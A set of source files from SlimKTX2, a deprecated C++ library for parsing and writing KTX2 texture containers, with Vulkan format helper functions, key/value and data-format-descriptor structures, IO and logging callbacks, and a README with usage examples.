case Format::B8G8R8_SINT:
case Format::B8G8R8_SRGB:
if (_channel <= Channel_Blue)
{
if (_channel == Channel_Red)
{
return 2;
}
if (_channel == Channel_Green)
{
return 1;
}
else
{
return 0;
}
}
else
{
return -1;
}
case Format::B4G4R4A4_UNORM_PACK16:
case Format::B5G5R5A1_UNORM_PACK16:
case Format::B8G8R8A8_UNORM:
case Format::B8G8R8A8_SNORM:
case Format::B8G8R8A8_UINT:
case Format::B8G8R8A8_SINT:
case Format::B8G8R8A8_SRGB:
if (_channel == Channel_Red)
{
return 2;
}
if (_channel == Channel_Green)
{
return 1;
}
if (_channel == Channel_Blue)
{
return 0;
}
else
{
return 3;
}
case Format::A1R5G5B5_UNORM_PACK16:
case Format::A2R10G10B10_UNORM_PACK32:
case Format::A2R10G10B10_SNORM_PACK32:
case Format::A2R10G10B10_UINT_PACK32:
case Format::A2R10G10B10_SINT_PACK32:
if (_channel == Channel_Red)
{
return 1;
}
if (_channel == Channel_Green)
{
return 2;
}
if (_channel == Channel_Blue)
{
return 3;
}
else
{
return 0;
}
case Format::A2B10G10R10_UNORM_PACK32:
case Format::A2B10G10R10_SNORM_PACK32:
case Format::A2B10G10R10_UINT_PACK32:
case Format::A2B10G10R10_SINT_PACK32:
if (_channel == Channel_Red)
{
return 3;
}
if (_channel == Channel_Green)
{
return 2;
}
if (_channel == Channel_Blue)
{
return 1;
}
else
{
return 0;
}
default:
return -1;
}
}
bool ux3d::slimktx2::isFloat(ux3d::slimktx2::Format _vkFormat)
{
switch (_vkFormat)
{
case Format::B10G11R11_UFLOAT_PACK32:
case Format::R16_SFLOAT:
case Format::R16G16_SFLOAT:
case Format::R16G16B16_SFLOAT:
case Format::R16G16B16A16_SFLOAT:
case Format::R32_SFLOAT:
case Format::R32G32_SFLOAT:
case Format::R32G32B32_SFLOAT:
case Format::R32G32B32A32_SFLOAT:
case Format::R64_SFLOAT:
case Format::R64G64_SFLOAT:
case Format::R64G64B64_SFLOAT:
case Format::R64G64B64A64_SFLOAT:
return true;
default:
return false;
}
}
bool ux3d::slimktx2::isSigned(ux3d::slimktx2::Format _vkFormat)
{
switch (_vkFormat)
{
case Format::A2R10G10B10_SNORM_PACK32:
case Format::A2R10G10B10_SINT_PACK32:
case Format::A2B10G10R10_SNORM_PACK32:
case Format::A2B10G10R10_UINT_PACK32:
case Format::A2B10G10R10_SINT_PACK32:
case Format::R8_SNORM:
case Format::R8_SINT:
case Format::R8_SRGB:
case Format::R8G8_SNORM:
case Format::R8G8_SINT:
case Format::R8G8_SRGB:
case Format::R8G8B8_SNORM:
case Format::R8G8B8_SINT:
case Format::R8G8B8_SRGB:
case Format::B8G8R8_SNORM:
case Format::B8G8R8_SINT:
case Format::B8G8R8_SRGB:
case Format::R8G8B8A8_SNORM:
case Format::R8G8B8A8_SINT:
case Format::R8G8B8A8_SRGB:
case Format::B8G8R8A8_SNORM:
case Format::B8G8R8A8_SINT:
case Format::B8G8R8A8_SRGB:
case Format::R16_SNORM:
case Format::R16_SINT:
case Format::R16_SFLOAT:
case Format::R16G16_SNORM:
case Format::R16G16_SINT:
case Format::R16G16_SFLOAT:
case Format::R16G16B16_SNORM:
case Format::R16G16B16_SINT:
case Format::R16G16B16_SFLOAT:
case Format::R16G16B16A16_SNORM:
case Format::R16G16B16A16_SINT:
case Format::R16G16B16A16_SFLOAT:
case Format::R32_SINT:
case Format::R32_SFLOAT:
case Format::R32G32_SINT:
case Format::R32G32_SFLOAT:
case Format::R32G32B32_SINT:
case Format::R32G32B32_SFLOAT:
case Format::R32G32B32A32_SINT:
case Format::R32G32B32A32_SFLOAT:
case Format::R64_SINT:
case Format::R64_SFLOAT:
case Format::R64G64_SINT:
case Format::R64G64_SFLOAT:
case Format::R64G64B64_SINT:
case Format::R64G64B64_SFLOAT:
case Format::R64G64B64A64_SINT:
case Format::R64G64B64A64_SFLOAT:
return true;
default:
return false;
}
}
bool ux3d::slimktx2::isNormalized(ux3d::slimktx2::Format _vkFormat)
{
switch (_vkFormat)
{
case Format::R4G4_UNORM_PACK8:
case Format::R4G4B4A4_UNORM_PACK16:
case Format::B4G4R4A4_UNORM_PACK16:
case Format::R5G6B5_UNORM_PACK16:
case Format::B5G6R5_UNORM_PACK16:
case Format::R5G5B5A1_UNORM_PACK16:
case Format::B5G5R5A1_UNORM_PACK16:
case Format::A1R5G5B5_UNORM_PACK16:
case Format::A2R10G10B10_UNORM_PACK32:
case Format::A2R10G10B10_SNORM_PACK32:
case Format::A2B10G10R10_UNORM_PACK32:
case Format::A2B10G10R10_SNORM_PACK32:
case Format::R8_UNORM:
case Format::R8_SNORM:
case Format::R8G8_UNORM:
case Format::R8G8_SNORM:
case Format::R8G8B8_UNORM:
case Format::R8G8B8_SNORM:
case Format::B8G8R8_UNORM:
case Format::B8G8R8_SNORM:
case Format::R8G8B8A8_UNORM:
case Format::R8G8B8A8_SNORM:
case Format::B8G8R8A8_UNORM:
case Format::B8G8R8A8_SNORM:
case Format::R16_UNORM:
case Format::R16_SNORM:
case Format::R16G16_UNORM:
case Format::R16G16_SNORM:
case Format::R16G16B16_UNORM:
case Format::R16G16B16_SNORM:
case Format::R16G16B16A16_UNORM:
case Format::R16G16B16A16_SNORM:
return true;
default:
return false;
}
}
bool ux3d::slimktx2::isSrgb(ux3d::slimktx2::Format _vkFormat)
{
switch (_vkFormat)
{
case Format::R8_SRGB:
case Format::R8G8_SRGB:
case Format::R8G8B8_SRGB:
case Format::B8G8R8_SRGB:
case Format::R8G8B8A8_SRGB:
case Format::B8G8R8A8_SRGB:
return true;
default:
return false;
}
}
bool ux3d::slimktx2::isPacked(ux3d::slimktx2::Format _vkFormat)
{
switch (_vkFormat)
{
case Format::R4G4_UNORM_PACK8:
case Format::R4G4B4A4_UNORM_PACK16:
case Format::B4G4R4A4_UNORM_PACK16:
case Format::R5G6B5_UNORM_PACK16:
case Format::B5G6R5_UNORM_PACK16:
case Format::R5G5B5A1_UNORM_PACK16:
case Format::B5G5R5A1_UNORM_PACK16:
case Format::A1R5G5B5_UNORM_PACK16:
case Format::A2R10G10B10_UNORM_PACK32:
case Format::A2R10G10B10_SNORM_PACK32:
case Format::A2R10G10B10_UINT_PACK32:
case Format::A2R10G10B10_SINT_PACK32:
case Format::A2B10G10R10_UNORM_PACK32:
case Format::A2B10G10R10_SNORM_PACK32:
case Format::A2B10G10R10_UINT_PACK32:
case Format::A2B10G10R10_SINT_PACK32:
case Format::B10G11R11_UFLOAT_PACK32:
return true;
default:
return false;
}
}
bool ux3d::slimktx2::isCompressed(ux3d::slimktx2::Format _vkFormat)
{
return _vkFormat >= Format::BC1_RGB_UNORM_BLOCK && _vkFormat <= Format::PVRTC2_4BPP_SRGB_BLOCK_IMG;
}
uint64_t ux3d::slimktx2::getFaceSize(Format _vkFormat, uint32_t _level, uint32_t _width, uint32_t _height, uint32_t _depth)
{
uint32_t blockWidth = 1u;
uint32_t blockHeight = 1u;
const uint32_t bytesPerBlock = getFormatSize(_vkFormat);
if (getBlockSize(_vkFormat, blockWidth, blockHeight))
{
const uint32_t width = _width >> _level;
const uint32_t height = _height >> _level;
const uint32_t blockCountX = static_cast<uint32_t>(ceilf(width / static_cast<float>(blockWidth)));
const uint32_t blockCountY = static_cast<uint32_t>(ceilf(height / static_cast<float>(blockHeight)));
return bytesPerBlock * blockCountX * blockCountY;
}
else
{
const uint64_t resolution = getPixelCount(_level, _width, _height, _depth);
return resolution * bytesPerBlock;
}
}
uint32_t ux3d::slimktx2::getPixelCount(uint32_t _level, uint32_t _width, uint32_t _height, uint32_t _depth)
{
uint32_t result = _width >> _level;
if (_height != 0u)
{
result *= _height >> _level;
}
if (_depth != 0u)
{
result *= _depth >> _level;
}
return result;
}
uint32_t ux3d::slimktx2::getPadding(uint64_t _value, uint32_t _alginment)
{
return (_alginment - (_value % _alginment)) % _alginment;
}
uint32_t ux3d::slimktx2::getLCM(uint32_t _x, uint32_t _y)
{
uint32_t max = _x > _y ? _x : _y;
while (!((max % _x == 0u) && (max % _y == 0u)))
{
++max;
}
return max;
}
uint32_t ux3d::slimktx2::getMipPadding(uint64_t _value, ux3d::slimktx2::Format _vkFormat, bool _superCompression)
{
if (_superCompression)
{
return 0; // 1u byte alignment
}
else if (_vkFormat == Format::UNDEFINED)
{
return getPadding(_value, 16u); // 16 byte alignment
}
const uint32_t texelBlockSize = getFormatSize(_vkFormat);
const uint32_t lcm = getLCM(texelBlockSize, 4u);
const uint32_t padding = getPadding(_value, lcm);
return padding;
}
ux3d::slimktx2::Format ux3d::slimktx2::transcodeToVkFormat(TranscodeFormat _format, bool _sRGB)
{
switch (_format)
{
case TranscodeFormat::ETC1_RGB:
return _sRGB ? Format::ETC2_R8G8B8_SRGB_BLOCK : Format::ETC2_R8G8B8_UNORM_BLOCK;
case TranscodeFormat::ETC2_RGBA:
return _sRGB ? Format::ETC2_R8G8B8A8_SRGB_BLOCK : Format::ETC2_R8G8B8A8_UNORM_BLOCK;
case TranscodeFormat::BC1_RGB:
return _sRGB ? Format::BC1_RGB_SRGB_BLOCK : Format::BC1_RGB_UNORM_BLOCK;
case TranscodeFormat::BC3_RGBA:
return _sRGB ? Format::BC3_SRGB_BLOCK : Format::BC3_UNORM_BLOCK;
case TranscodeFormat::BC4_R:
return Format::BC4_UNORM_BLOCK;
case TranscodeFormat::BC5_RG:
return Format::BC5_UNORM_BLOCK;
case TranscodeFormat::BC7_RGBA:
return _sRGB ? Format::BC7_SRGB_BLOCK : Format::BC7_UNORM_BLOCK;
case TranscodeFormat::PVRTC1_4_RGB:
case TranscodeFormat::PVRTC1_4_RGBA:
return _sRGB ? Format::PVRTC1_4BPP_SRGB_BLOCK_IMG : Format::PVRTC1_4BPP_UNORM_BLOCK_IMG;
case TranscodeFormat::ASTC_4x4_RGBA:
return _sRGB ? Format::ASTC_4x4_SRGB_BLOCK : Format::ASTC_4x4_UNORM_BLOCK;
case TranscodeFormat::PVRTC2_4_RGB:
case TranscodeFormat::PVRTC2_4_RGBA:
return _sRGB ? Format::PVRTC2_4BPP_SRGB_BLOCK_IMG : Format::PVRTC2_4BPP_UNORM_BLOCK_IMG;
case TranscodeFormat::ETC2_EAC_R11:
return Format::EAC_R11_UNORM_BLOCK;
case TranscodeFormat::ETC2_EAC_RG11:
return Format::EAC_R11G11_UNORM_BLOCK;
case TranscodeFormat::RGBA32:
return _sRGB ? Format::R8G8B8A8_SRGB : Format::R8G8B8A8_UNORM;
case TranscodeFormat::RGB565:
return Format::R5G6B5_UNORM_PACK16;
case TranscodeFormat::BGR565:
return Format::B5G6R5_UNORM_PACK16;
case TranscodeFormat::RGBA4444:
return Format::R4G4B4A4_UNORM_PACK16;
//case TranscodeFormat::ETC:
// break;
//case TranscodeFormat::BC1_OR_3:
// break;
default:
return Format::UNDEFINED;
}
}
<file_sep>/source/kvd.cpp
#include "kvd.h"
#include <cstring>
#include "format.h"
using namespace ux3d::slimktx2;
uint32_t KeyValueData::computeSize() const
{
size_t size = 0u; // keyAndValueByteLength member
const Entry* pEntry = pKeyValues;
while (pEntry != nullptr)
{
size += sizeof(uint32_t);
if (pEntry->pKeyValue != nullptr)
{
size += pEntry->keyAndValueByteLength;
}
size += getPadding(size, 4u);
pEntry = pEntry->pNext;
};
return static_cast<uint32_t>(size);
}
KeyValueData::Entry* KeyValueData::getLastEntry() const
{
Entry* pEntry = pKeyValues;
while (pEntry != nullptr)
{
if (pEntry->pNext == nullptr)
{
break;
}
pEntry = pEntry->pNext;
}
return pEntry;
}
uint32_t KeyValueData::Entry::getKeyLength() const
{
uint32_t length = 0u;
if (pKeyValue != nullptr)
{
for (; pKeyValue[length] != 0u && length < keyAndValueByteLength; ++length) {}
}
return length;
}
uint32_t KeyValueData::Entry::getValueLength() const
{
return keyAndValueByteLength - getKeyLength();
}
<file_sep>/source/DefaultConsoleLogCallback.cpp
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#include "DefaultConsoleLogCallback.h"
#include <cstdio>
using namespace ux3d::slimktx2;
Callbacks DefaultConsoleLogCallback::getCallback() const
{
Callbacks callback{};
// userdata not required
callback.log = log;
return callback;
}
DefaultConsoleLogCallback::operator Callbacks() const
{
return getCallback();
}
void DefaultConsoleLogCallback::log(void* _pUserData, const char* _pFormat, va_list _args)
{
char buffer[512];
vsnprintf(buffer, sizeof(buffer), _pFormat, _args);
printf("%s", buffer);
}
<file_sep>/README.md
⚠️ SlimKTX2 is now deprecated in favor of the official [Khronos KTX Software Repository](https://github.com/KhronosGroup/KTX-Software)
# SlimKTX2
Slim C++ library for [KTX2](http://github.khronos.org/KTX-Specification/) binary parsing and writing - released under Apache License 2.0.
NOTE: SlimKTX2 is still a work in progress, APIs are not stable, bugs are hiding :)
This library is meant for binary parsing only, encoding and decoding compressed formats is left to the user. SlimKTX2 has no other external dependencies as it is written in plain C++11 without use of STL containers.
## Building
Use the provided CMakeLists to generate project files for your build system.
## Usages
Note: `Data Format Descriptor`, `Key/Value Data` and `Supercompression Global Data` are currently ignored / not handled.
### Callbacks
SlimKTX2 uses callbacks to allow custom behaviour for allocation and IO.
```cpp
void* allocate(void* _pUserData, size_t _size)
{
return malloc(_size);
}
...
ux3d::slimktx2::Callbacks callbacks{};
callbacks.allocate = allocate;
callbacks.free = ...
```
Mandatory callbacks:
* `allocate` like `malloc()`
* `deallocate` like `free()`
* `tell` like `ftell()`
Callbacks for reading: `read` like `fread()`
Callback for writing: `write` like `fwrite()`
Optinal for logging and error reporting: `log` like `printf()`
### Parsing KTX2 files
First, setup callbacks required for reading and set them with `setCallbacks()`:
```cpp
using namespace ux3d::slimktx2;
// setup callbacks
Callbacks callbacks{};
callbacks.allocate = allocate;
callbacks.free = deallocate;
callbacks.read = readFromFile;
callbacks.tell = tell;
SlimKTX2 slimKTX2;
slimKTX2.setCallbacks(callbacks);
FILE* pFile = fopen("myfile.ktx2", "rb");
if (slimKTX2.parse(pFile) != Result::Success)
{
fclose(pFile);
return;
}
for(uint32_t level = 0; level < slimKTX2.getLevelCount(); ++level)
{
for(uint32_t layer = 0; layer < slimKTX2.getLayerCount(); ++layer)
{
for(uint32_t face = 0; face < slimKTX2.getFaceCount(); ++face)
{
uint8_t* pDst = nullptr;
if (slimKTX2.getImage(pDst, level, face, layer)) == Result::Success)
{
*pDst = 0xFF; // manipulate image data here
}
}
}
}
fclose(pFile);
```
### Writing KTX2 files
First setup callbacks as before, now with `write` assigned.
```cpp
using namespace ux3d::slimktx2;
// setup callbacks
Callbacks callbacks{};
callbacks.write = writeToFile;
...
// init slim ktx callbacks via constructor
SlimKTX2 slimKTX2(callbacks);
// first specify the format of a half-float 1024x1024 cubemap (6 faces) with 5 mip levels:
slimKTX2.specifyFormat(Format::R16G16B16A16_SFLOAT, 1024, 1024, 5, 6);
// allocate memory for all levels, layers and faces
if(slimKTX2.allocateContainer() == Result::Success)
{
// write some data to level 1, face +Y, layer 0
// Cubemap faces are stored in the order: +X, -X, +Y, -Y, +Z, -Z.
slimKTX2.setImage(_inData.data(), _inData.size(), 1, CubeMapFace::Top, 0);
...
FILE* pFile = fopen("myfile.ktx2", "wb");
if (slimKTX2.serialize(pFile) == Result::Success)
{
// thats it
}
fclose(pFile);
}
```
<file_sep>/include/dfd.h
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#pragma once
#include <cstdint>
#include <cstddef>
namespace ux3d
{
namespace slimktx2
{
enum VendorId : uint32_t // 17 bit
{
VendorId_KHRONOS = 0U,
VendorId_MAX = 0x1FFFFU
};
enum DescriptorType : uint16_t // 15 bit
{
DescriptorType_BASICFORMAT = 0U,
DescriptorType_ADDITIONAL_PLANES = 0x6001U,
DescriptorType_ADDITIONAL_DIMENSIONS = 0x6002U,
DescriptorType_NEEDED_FOR_WRITE_BIT = 0x2000U,
DescriptorType_NEEDED_FOR_DECODE_BIT = 0x4000U,
DescriptorType_MAX = 0x7FFFU
};
enum VersionNumber : uint16_t // 16 bit
{
VersionNumber_1_0 = 0U,
VersionNumber_1_1 = 0U,
VersionNumber_1_2 = 1U,
VersionNumber_1_3 = 2U,
VersionNumber_LATEST = VersionNumber_1_3,
VersionNumber_MAX = 0xFFFFU
};
// khr_df_model_e
enum ColorModel : uint8_t
{
ColorModel_UNSPECIFIED = 0U,
ColorModel_RGBSDA = 1U,
ColorModel_YUVSDA = 2U,
ColorModel_YIQSDA = 3U,
ColorModel_LABSDA = 4U,
ColorModel_CMYKA = 5U,
ColorModel_XYZW = 6U,
ColorModel_HSVA_ANG = 7U,
ColorModel_HSLA_ANG = 8U,
ColorModel_HSVA_HEX = 9U,
ColorModel_HSLA_HEX = 10U,
ColorModel_YCGCOA = 11U,
ColorModel_YCCBCCRC = 12U,
ColorModel_ICTCP = 13U,
ColorModel_CIEXYZ = 14U,
ColorModel_CIEXYY = 15U,
ColorModel_DXT1A = 128U,
ColorModel_BC1A = 128U,
ColorModel_DXT2 = 129U,
ColorModel_DXT3 = 129U,
ColorModel_BC2 = 129U,
ColorModel_DXT4 = 130U,
ColorModel_DXT5 = 130U,
ColorModel_BC3 = 130U,
ColorModel_BC4 = 131U,
ColorModel_BC5 = 132U,
ColorModel_BC6H = 133U,
ColorModel_BC7 = 134U,
ColorModel_ETC1 = 160U,
ColorModel_ETC2 = 161U,
ColorModel_ASTC = 162U,
ColorModel_ETC1S = 163U,
ColorModel_PVRTC = 164U,
ColorModel_PVRTC2 = 165U,
ColorModel_UASTC = 166u,
ColorModel_MAX = 0xFFU
};
// khr_df_model_channels_e
enum ColorChannels : uint8_t
{
ColorChannels_UNSPECIFIED_0 = 0U,
ColorChannels_UNSPECIFIED_1 = 1U,
ColorChannels_UNSPECIFIED_2 = 2U,
ColorChannels_UNSPECIFIED_3 = 3U,
ColorChannels_UNSPECIFIED_4 = 4U,
ColorChannels_UNSPECIFIED_5 = 5U,
ColorChannels_UNSPECIFIED_6 = 6U,
ColorChannels_UNSPECIFIED_7 = 7U,
ColorChannels_UNSPECIFIED_8 = 8U,
ColorChannels_UNSPECIFIED_9 = 9U,
ColorChannels_UNSPECIFIED_10 = 10U,
ColorChannels_UNSPECIFIED_11 = 11U,
ColorChannels_UNSPECIFIED_12 = 12U,
ColorChannels_UNSPECIFIED_13 = 13U,
ColorChannels_UNSPECIFIED_14 = 14U,
ColorChannels_UNSPECIFIED_15 = 15U,
ColorChannels_RGBSDA_RED = 0U,
ColorChannels_RGBSDA_R = 0U,
ColorChannels_RGBSDA_GREEN = 1U,
ColorChannels_RGBSDA_G = 1U,
ColorChannels_RGBSDA_BLUE = 2U,
ColorChannels_RGBSDA_B = 2U,
ColorChannels_RGBSDA_STENCIL = 13U,
ColorChannels_RGBSDA_S = 13U,
ColorChannels_RGBSDA_DEPTH = 14U,
ColorChannels_RGBSDA_D = 14U,
ColorChannels_RGBSDA_ALPHA = 15U,
ColorChannels_RGBSDA_A = 15U,
ColorChannels_YUVSDA_Y = 0U,
ColorChannels_YUVSDA_CB = 1U,
ColorChannels_YUVSDA_U = 1U,
ColorChannels_YUVSDA_CR = 2U,
ColorChannels_YUVSDA_V = 2U,
ColorChannels_YUVSDA_STENCIL = 13U,
ColorChannels_YUVSDA_S = 13U,
ColorChannels_YUVSDA_DEPTH = 14U,
ColorChannels_YUVSDA_D = 14U,
ColorChannels_YUVSDA_ALPHA = 15U,
ColorChannels_YUVSDA_A = 15U,
ColorChannels_YIQSDA_Y = 0U,
ColorChannels_YIQSDA_I = 1U,
ColorChannels_YIQSDA_Q = 2U,
ColorChannels_YIQSDA_STENCIL = 13U,
ColorChannels_YIQSDA_S = 13U,
ColorChannels_YIQSDA_DEPTH = 14U,
ColorChannels_YIQSDA_D = 14U,
ColorChannels_YIQSDA_ALPHA = 15U,
ColorChannels_YIQSDA_A = 15U,
ColorChannels_LABSDA_L = 0U,
ColorChannels_LABSDA_A = 1U,
ColorChannels_LABSDA_B = 2U,
ColorChannels_LABSDA_STENCIL = 13U,
ColorChannels_LABSDA_S = 13U,
ColorChannels_LABSDA_DEPTH = 14U,
ColorChannels_LABSDA_D = 14U,
ColorChannels_LABSDA_ALPHA = 15U,
ColorChannels_CMYKSDA_CYAN = 0U,
ColorChannels_CMYKSDA_C = 0U,
ColorChannels_CMYKSDA_MAGENTA = 1U,
ColorChannels_CMYKSDA_M = 1U,
ColorChannels_CMYKSDA_YELLOW = 2U,
ColorChannels_CMYKSDA_Y = 2U,
ColorChannels_CMYKSDA_KEY = 3U,
ColorChannels_CMYKSDA_BLACK = 3U,
ColorChannels_CMYKSDA_K = 3U,
ColorChannels_CMYKSDA_ALPHA = 15U,
ColorChannels_CMYKSDA_A = 15U,
ColorChannels_XYZW_X = 0U,
ColorChannels_XYZW_Y = 1U,
ColorChannels_XYZW_Z = 2U,
ColorChannels_XYZW_W = 3U,
ColorChannels_HSVA_ANG_VALUE = 0U,
ColorChannels_HSVA_ANG_V = 0U,
ColorChannels_HSVA_ANG_SATURATION = 1U,
ColorChannels_HSVA_ANG_S = 1U,
ColorChannels_HSVA_ANG_HUE = 2U,
ColorChannels_HSVA_ANG_H = 2U,
ColorChannels_HSVA_ANG_ALPHA = 15U,
ColorChannels_HSVA_ANG_A = 15U,
ColorChannels_HSLA_ANG_LIGHTNESS = 0U,
ColorChannels_HSLA_ANG_L = 0U,
ColorChannels_HSLA_ANG_SATURATION = 1U,
ColorChannels_HSLA_ANG_S = 1U,
ColorChannels_HSLA_ANG_HUE = 2U,
ColorChannels_HSLA_ANG_H = 2U,
ColorChannels_HSLA_ANG_ALPHA = 15U,
ColorChannels_HSLA_ANG_A = 15U,
ColorChannels_HSVA_HEX_VALUE = 0U,
ColorChannels_HSVA_HEX_V = 0U,
ColorChannels_HSVA_HEX_SATURATION = 1U,
ColorChannels_HSVA_HEX_S = 1U,
ColorChannels_HSVA_HEX_HUE = 2U,
ColorChannels_HSVA_HEX_H = 2U,
ColorChannels_HSVA_HEX_ALPHA = 15U,
ColorChannels_HSVA_HEX_A = 15U,
ColorChannels_HSLA_HEX_LIGHTNESS = 0U,
ColorChannels_HSLA_HEX_L = 0U,
ColorChannels_HSLA_HEX_SATURATION = 1U,
ColorChannels_HSLA_HEX_S = 1U,
ColorChannels_HSLA_HEX_HUE = 2U,
ColorChannels_HSLA_HEX_H = 2U,
ColorChannels_HSLA_HEX_ALPHA = 15U,
ColorChannels_HSLA_HEX_A = 15U,
ColorChannels_YCGCOA_Y = 0U,
ColorChannels_YCGCOA_CG = 1U,
ColorChannels_YCGCOA_CO = 2U,
ColorChannels_YCGCOA_ALPHA = 15U,
ColorChannels_YCGCOA_A = 15U,
ColorChannels_CIEXYZ_X = 0U,
ColorChannels_CIEXYZ_Y = 1U,
ColorChannels_CIEXYZ_Z = 2U,
ColorChannels_CIEXYY_X = 0U,
ColorChannels_CIEXYY_YCHROMA = 1U,
ColorChannels_CIEXYY_YLUMA = 2U,
ColorChannels_DXT1A_COLOR = 0U,
ColorChannels_BC1A_COLOR = 0U,
ColorChannels_DXT1A_ALPHAPRESENT = 1U,
ColorChannels_DXT1A_ALPHA = 1U,
ColorChannels_BC1A_ALPHAPRESENT = 1U,
ColorChannels_BC1A_ALPHA = 1U,
ColorChannels_DXT2_COLOR = 0U,
ColorChannels_DXT3_COLOR = 0U,
ColorChannels_BC2_COLOR = 0U,
ColorChannels_DXT2_ALPHA = 15U,
ColorChannels_DXT3_ALPHA = 15U,
ColorChannels_BC2_ALPHA = 15U,
ColorChannels_DXT4_COLOR = 0U,
ColorChannels_DXT5_COLOR = 0U,
ColorChannels_BC3_COLOR = 0U,
ColorChannels_DXT4_ALPHA = 15U,
ColorChannels_DXT5_ALPHA = 15U,
ColorChannels_BC3_ALPHA = 15U,
ColorChannels_BC4_DATA = 0U,
ColorChannels_BC5_RED = 0U,
ColorChannels_BC5_R = 0U,
ColorChannels_BC5_GREEN = 1U,
ColorChannels_BC5_G = 1U,
ColorChannels_BC6H_COLOR = 0U,
ColorChannels_BC6H_DATA = 0U,
ColorChannels_BC7_DATA = 0U,
ColorChannels_BC7_COLOR = 0U,
ColorChannels_ETC1_DATA = 0U,
ColorChannels_ETC1_COLOR = 0U,
ColorChannels_ETC2_RED = 0U,
ColorChannels_ETC2_R = 0U,
ColorChannels_ETC2_GREEN = 1U,
ColorChannels_ETC2_G = 1U,
ColorChannels_ETC2_COLOR = 2U,
ColorChannels_ETC2_ALPHA = 15U,
ColorChannels_ETC2_A = 15U,
ColorChannels_ASTC_DATA = 0U,
ColorChannels_ETC1S_RGB = 0U,
ColorChannels_ETC1S_RRR = 3U,
ColorChannels_ETC1S_GGG = 4U,
ColorChannels_ETC1S_AAA = 15U,
ColorChannels_PVRTC_DATA = 0U,
ColorChannels_PVRTC_COLOR = 0U,
ColorChannels_PVRTC2_DATA = 0U,
ColorChannels_PVRTC2_COLOR = 0U,
ColorChannels_UASTC_DATA = 0U,
ColorChannels_UASTC_RGB = 0U,
ColorChannels_UASTC_RGBA = 3U,
ColorChannels_UASTC_RRR = 4U,
ColorChannels_UASTC_RRRG = 5U,
ColorChannels_COMMON_LUMA = 0U,
ColorChannels_COMMON_L = 0U,
ColorChannels_COMMON_STENCIL = 13U,
ColorChannels_COMMON_S = 13U,
ColorChannels_COMMON_DEPTH = 14U,
ColorChannels_COMMON_D = 14U,
ColorChannels_COMMON_ALPHA = 15U,
ColorChannels_COMMON_A = 15U
};
enum ColorPrimaries : uint8_t
{
ColorPrimaries_UNSPECIFIED = 0U,
ColorPrimaries_BT709 = 1U,
ColorPrimaries_SRGB = 1U,
ColorPrimaries_BT601_EBU = 2U,
ColorPrimaries_BT601_SMPTE = 3U,
ColorPrimaries_BT2020 = 4U,
ColorPrimaries_CIEXYZ = 5U,
ColorPrimaries_ACES = 6U,
ColorPrimaries_ACESCC = 7U,
ColorPrimaries_NTSC1953 = 8U,
ColorPrimaries_PAL525 = 9U,
ColorPrimaries_DISPLAYP3 = 10U,
ColorPrimaries_ADOBERGB = 11U,
ColorPrimaries_MAX = 0xFFU
};
enum TransferFunction : uint8_t
{
TransferFunction_UNSPECIFIED = 0U,
TransferFunction_LINEAR = 1U,
TransferFunction_SRGB = 2U,
TransferFunction_ITU = 3U,
TransferFunction_SMTPE170M = 3U,
TransferFunction_NTSC = 4U,
TransferFunction_SLOG = 5U,
TransferFunction_SLOG2 = 6U,
TransferFunction_BT1886 = 7U,
TransferFunction_HLG_OETF = 8U,
TransferFunction_HLG_EOTF = 9U,
TransferFunction_PQ_EOTF = 10U,
TransferFunction_PQ_OETF = 11U,
TransferFunction_DCIP3 = 12U,
TransferFunction_PAL_OETF = 13U,
TransferFunction_PAL625_EOTF = 14U,
TransferFunction_ST240 = 15U,
TransferFunction_ACESCC = 16U,
TransferFunction_ACESCCT = 17U,
TransferFunction_ADOBERGB = 18U,
TransferFunction_MAX = 0xFFU
};
enum AlphaFlags : uint8_t
{
AlphaFlags_STRAIGHT = 0U,
AlphaFlags_PREMULTIPLIED = 1U
};
enum SampleDataTypeQualifiers : uint8_t
{
SampleDataTypeQualifiers_LINEAR = 1U << 4U,
SampleDataTypeQualifiers_EXPONENT = 1U << 5U,
SampleDataTypeQualifiers_SIGNED = 1U << 6U,
SampleDataTypeQualifiers_FLOAT = 1U << 7U
};
struct DataFormatDesc
{
uint32_t totalSize{};
//https://www.khronos.org/registry/DataFormat/specs/1.3/dataformat.1.3.html#DescriptorPrefix
struct BlockHeader
{
uint32_t vendorId : 17;
uint32_t type : 15;
uint32_t : 0; // start new word
uint32_t versionNumber : 16;
uint32_t blockSize : 16; // = 24 + 16 x #samples
uint32_t : 0; // start new word
uint32_t colorModel : 8;
uint32_t colorPrimaries : 8;
uint32_t transferFunction : 8;
uint32_t flags : 8;
uint32_t : 0; // start new word
uint32_t texelBlockDimension0 : 8;
uint32_t texelBlockDimension1 : 8;
uint32_t texelBlockDimension2 : 8;
uint32_t texelBlockDimension3 : 8;
uint64_t : 0; // start new word
uint64_t bytesPlane0 : 8;
uint64_t bytesPlane1 : 8;
uint64_t bytesPlane2 : 8;
uint64_t bytesPlane3 : 8;
uint64_t bytesPlane4 : 8;
uint64_t bytesPlane5 : 8;
uint64_t bytesPlane6 : 8;
uint64_t bytesPlane7 : 8;
BlockHeader();
};
struct Sample
{
uint32_t bitOffset : 16;
uint32_t bitLength : 8;
uint32_t channelType : 8;
uint32_t samplePosition0 : 8;
uint32_t samplePosition1 : 8;
uint32_t samplePosition2 : 8;
uint32_t samplePosition3 : 8;
uint32_t lower;
uint32_t upper;
}; // TODO: https://www.khronos.org/registry/DataFormat/specs/1.3/dataformat.1.3.html#_anchor_id_sample_xreflabel_sample_sample_information
static constexpr uint32_t blockHeaderSize = sizeof(BlockHeader); // 24u
static constexpr uint32_t sampleSize = sizeof(Sample); // 16u
struct Block
{
uint32_t getSampleCount() const { return (header.blockSize - blockHeaderSize) / sampleSize; }
void setSampleCount(uint32_t _sampleCount) { header.blockSize = blockHeaderSize + _sampleCount * sampleSize; }
BlockHeader header{};
// ...
// Sample information for the first sample
// Sample information for the second sample (optional), etc.
Sample* pSamples = nullptr; // uint32_t[sampleCount]
Block* pNext = nullptr;
};
Block* pBlocks = nullptr; // Linked list
uint32_t computeSize() const;
Block* getLastBlock() const;
};
} // !slimktx2
} // !ux3d
<file_sep>/source/DefaultFileIOCallback.cpp
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#include "DefaultFileIOCallback.h"
#include <cstdio>
using namespace ux3d::slimktx2;
Callbacks DefaultFileIOCallback::getCallback() const
{
Callbacks callback{};
// userdata not required
callback.read = read;
callback.write = write;
callback.seek = seek;
callback.tell = tell;
return callback;
}
DefaultFileIOCallback::operator Callbacks() const
{
return getCallback();
}
